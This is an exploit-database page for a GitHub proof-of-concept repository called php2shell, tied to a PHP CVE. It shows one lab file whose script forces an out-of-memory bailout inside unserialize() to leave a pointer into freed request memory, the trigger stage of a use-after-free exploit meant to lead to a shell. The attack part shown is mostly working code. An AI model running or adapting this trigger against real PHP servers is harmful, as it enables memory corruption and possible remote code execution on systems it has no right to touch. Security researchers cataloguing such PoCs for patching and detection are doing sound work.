Exploit database

GH-298f3309a4d1116b060c0d5964397cfd

joshuarosato/php2shell-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

411 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files15
joshuarosato/php2shell-pocRevision 3f462191c939

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/producer.php

PHP · 286 bytes
<?php
// Producer: OOM inside unserialize() -> bailout -> PHP_VAR_UNSERIALIZE_DESTROY()
// is skipped -> BG(unserialize) keeps a pointer into freed request memory.
$n = 200000;
$payload = 'a:' . $n . ':{' . str_repeat('i:0;i:0;', $n) . '}';
unserialize($payload);
echo "not reached\n";